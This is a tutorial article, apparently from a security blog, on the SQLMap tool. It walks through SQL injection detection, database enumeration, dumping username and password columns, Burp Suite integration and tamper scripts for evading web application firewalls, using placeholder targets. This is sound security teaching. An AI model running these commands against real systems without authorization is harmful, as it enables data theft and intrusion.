Listen to this Post

Introduction:
SQL injection remains one of the OWASP Top 10 most critical web application security risks, and SQLMap has emerged as the industry-standard open-source tool for automating its detection and exploitation. Whether you’re a budding ethical hacker or a seasoned penetration tester, understanding SQLMap’s workflow—from basic parameter testing to advanced WAF evasion—is essential for any authorized VAPT engagement. This article breaks down the tool’s core functionality, provides a practical step-by-step workflow, and demonstrates how to integrate it with Burp Suite for a seamless testing experience.
Learning Objectives:
- Understand the fundamental concepts of SQL injection and how SQLMap automates the exploitation process.
- Master the essential SQLMap commands and switches for database enumeration and data extraction.
- Learn to integrate SQLMap with Burp Suite for streamlined vulnerability verification.
- Explore advanced techniques including tamper scripts for WAF evasion and adjusting scan aggressiveness.
You Should Know:
- SQLMap Fundamentals: What It Is and How It Works
SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. Developed by Bernardo Damele Assumpcao Guimaraes and Miroslav Stampar, it supports a wide range of database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, and many others.
At its core, SQLMap works by sending crafted payloads to user-controllable parameters (like ?id=10) and analyzing the server’s responses to determine if a vulnerability exists. When a parameter is injectable, SQLMap can enumerate databases, tables, columns, and even dump entire tables—all with minimal user intervention.
Installation:
On Kali Linux (the preferred platform for most penetration testers), SQLMap comes pre-installed. If you need to install it manually:
On Debian/Ubuntu/Kali sudo apt update sudo apt install sqlmap Or via pip pip install sqlmap Or clone from GitHub for the latest version git clone https://github.com/sqlmapproject/sqlmap.git cd sqlmap
On Windows, you can use Python to run SQLMap after cloning the repository:
python sqlmap.py -h
2. The Practical SQLMap Workflow: Step-by-Step
Let’s walk through a typical SQLMap engagement against a vulnerable web application.
Step 1: Basic Detection
Start by testing a single URL parameter for SQL injection vulnerabilities:
sqlmap -u "http://target.com/page?id=10"
This command sends a series of payloads to the `id` parameter and analyzes the responses. If SQLMap detects a vulnerability, it will report the injection type (e.g., boolean-based blind, error-based, time-based blind) and the underlying database technology.
Step 2: Enumerating Databases
Once a vulnerability is confirmed, the next step is to list all databases on the server:
sqlmap -u "http://target.com/page?id=10" --dbs
This will return a list of database names.
Step 3: Enumerating Tables
After identifying a target database (e.g., corporate_db), enumerate its tables:
sqlmap -u "http://target.com/page?id=10" -D corporate_db --tables
This lists all tables within the specified database.
Step 4: Enumerating Columns
To understand the structure of a specific table (e.g., users), enumerate its columns:
sqlmap -u "http://target.com/page?id=10" -D corporate_db -T users --columns
This reveals column names and their data types.
Step 5: Dumping Data
Finally, extract the data from the table:
sqlmap -u "http://target.com/page?id=10" -D corporate_db -T users --dump
For a more targeted extraction, specify columns using the `-C` flag:
sqlmap -u "http://target.com/page?id=10" -D corporate_db -T users -C username,password --dump
Step 6: Checking Database Administrator Privileges
To assess the level of access you’ve gained, check if the current database user has administrator privileges:
sqlmap -u "http://target.com/page?id=10" --is-dba
This is crucial for understanding the potential impact of the vulnerability.
3. Mastering Essential SQLMap Switches and Options
Beyond the basic enumeration workflow, SQLMap offers a rich set of switches for fine-tuning your tests:
| Switch | Description | Example |
|–|-||
| `-u` | Target URL | `sqlmap -u “http://target.com/page?id=10″` |
| `–data` | POST data | `sqlmap -u “http://target.com/login” –data=”user=admin&pass=test”` |
| `-p` | Specify parameter(s) to test | `sqlmap -u “http://target.com/page?id=10&cat=5” -p id` |
| `–cookie` | Set cookie values | `sqlmap -u “http://target.com/page?id=10” –cookie=”session=abc123″` |
| `–random-agent` | Use random User-Agent | `sqlmap -u “http://target.com/page?id=10” –random-agent` |
| `–level` | Test level (1-5, default 1) | `sqlmap -u “http://target.com/page?id=10” –level=3` |
| `–risk` | Risk level (1-3, default 1) | `sqlmap -u “http://target.com/page?id=10” –risk=2` |
| `–proxy` | Use a proxy | `sqlmap -u “http://target.com/page?id=10” –proxy=”http://127.0.0.1:8080″` |
The `–level` and `–risk` parameters are particularly important. `–level` controls the depth of testing—Level 1 only tests GET and POST parameters, while higher levels test additional headers and parameters. `–risk` controls the invasiveness of the tests—Risk 1 uses generally harmless payloads, while Risk 3 employs more aggressive techniques like OR-based payloads that may modify data.
- SQLMap + Burp Suite Integration: A Seamless Workflow
Integrating SQLMap with Burp Suite streamlines the vulnerability verification process. Here’s how to set it up:
Method 1: Using SQLiPy Plugin
The SQLiPy Burp extension integrates SQLMap using its API, enabling SQL injection scans directly within Burp Suite.
- Navigate to Extensions > BApp Store in Burp Suite.
2. Search for SQLiPy and click Install.
- The plugin connects to a running instance of the SQLMap API server to perform scans on requests.
Method 2: Routing SQLMap Through Burp Proxy
To observe and analyze SQLMap’s requests in Burp:
sqlmap -u "http://target.com/page?id=10" --proxy="http://127.0.0.1:8080"
This routes all SQLMap traffic through Burp’s proxy, allowing you to inspect the generated payloads and identify patterns.
Method 3: Copy as cURL from Developer Tools
An easy way to build complex SQLMap requests is by using the Copy as cURL feature from browser Developer Tools. This captures the full request with headers, cookies, and POST data, which you can then paste into SQLMap.
Method 4: Burp SQLMap Helper Plugin
For a more integrated experience, the Burp SQLMap Helper plugin allows you to generate SQLMap commands directly from Burp requests.
5. Advanced Techniques: WAF Evasion with Tamper Scripts
Web Application Firewalls (WAFs) and input filters can block standard SQL injection payloads. SQLMap’s tamper scripts modify the payload to bypass these defenses.
Core Concept:
Tamper scripts perform semantic equivalence transformations on SQL injection statements. For example, they can change `AND 1=1` to `AnD 1=1` to bypass case-sensitive detection rules.
Common Tamper Scripts:
| Tamper Script | Description |
||-|
| `space2comment` | Replaces spaces with comments (//) |
| `between` | Replaces `>` with `NOT BETWEEN 0 AND` |
| `charencode` | URL-encodes the payload |
| `randomcase` | Randomizes the case of characters |
| `unicodeescape` | Escapes non-encoded characters in JSON contexts |
Usage Example:
sqlmap -u "http://target.com/page?id=10" --tamper=space2comment,randomcase
For modern WAFs targeting Cloudflare, AWS WAF, and Azure WAF, community-contributed tamper collections are available. Copy custom tamper scripts to the SQLMap `tamper/` directory:
cp custom_tamper.py /path/to/sqlmap/tamper/
- Study Sequence: What to Learn First and What to Learn Next
For cybersecurity professionals building their SQLMap expertise, here’s a recommended learning path:
Phase 1: Fundamentals
- Understand SQL injection concepts (error-based, union-based, blind)
- Install SQLMap and run basic detection (
sqlmap -u "URL") - Practice on deliberately vulnerable targets (DVWA, HackTheBox, TryHackMe)
Phase 2: Core Enumeration
- Master
--dbs,--tables,--columns, and `–dump`
– Learn to specify databases and tables with `-D` and `-T`
– Practice targeted data extraction with `-C`
Phase 3: Advanced Configuration
- Experiment with `–level` and `–risk` to understand their impact
- Use
--cookie,--data, and `–headers` for complex requests - Implement `–random-agent` and `–proxy` for stealth
Phase 4: Integration and Evasion
- Integrate SQLMap with Burp Suite
- Learn tamper scripts for WAF bypass
- Explore OS-shell access and file read/write operations
Phase 5: Real-World Scenarios
- Combine SQLMap with other tools (Nmap, Nikto, Burp)
- Practice on private bug bounty programs (with authorization)
- Contribute to the SQLMap community by sharing custom tamper scripts
What Undercode Say:
- Key Takeaway 1: SQLMap is not just a command execution tool—it’s a comprehensive framework for understanding and exploiting SQL injection. The real skill lies in knowing which switches to use in which context, not in memorizing every command.
- Key Takeaway 2: Integration with Burp Suite transforms SQLMap from a standalone scanner into a powerful verification engine. By routing traffic through Burp, you gain visibility into the attack patterns and can fine-tune your approach based on real-time server responses.
- Key Takeaway 3: The `–level` and `–risk` parameters are your most powerful controls. Starting with Level 1/Risk 1 is safe for initial reconnaissance, but escalating to Level 3/Risk 3 may be necessary for comprehensive testing in authorized engagements.
- Key Takeaway 4: Tamper scripts are the difference between a successful penetration test and a blocked one. Understanding how WAFs work and which tamper scripts counter specific defenses is a critical skill for modern web application testing.
- Key Takeaway 5: The learning journey doesn’t end with SQLMap. Visual revision sheets and structured study sequences help consolidate knowledge faster and make complex topics more accessible—a strategy that every cybersecurity professional should adopt.
Prediction:
- +1 As AI-assisted penetration testing tools evolve, SQLMap will likely integrate with LLMs to generate custom tamper scripts dynamically, reducing the manual effort required for WAF evasion.
- +1 The demand for SQLMap proficiency will continue to grow as organizations prioritize API security, where SQL injection remains a prevalent threat vector.
- -1 The increasing sophistication of WAFs and input validation mechanisms may reduce the effectiveness of automated tools like SQLMap, pushing penetration testers toward more manual, context-aware testing methodologies.
- -1 Without proper authorization and careful configuration, SQLMap’s aggressive testing options (especially at higher risk levels) can cause data corruption or denial of service, potentially leading to legal and reputational consequences for security professionals.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Briav Patel – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


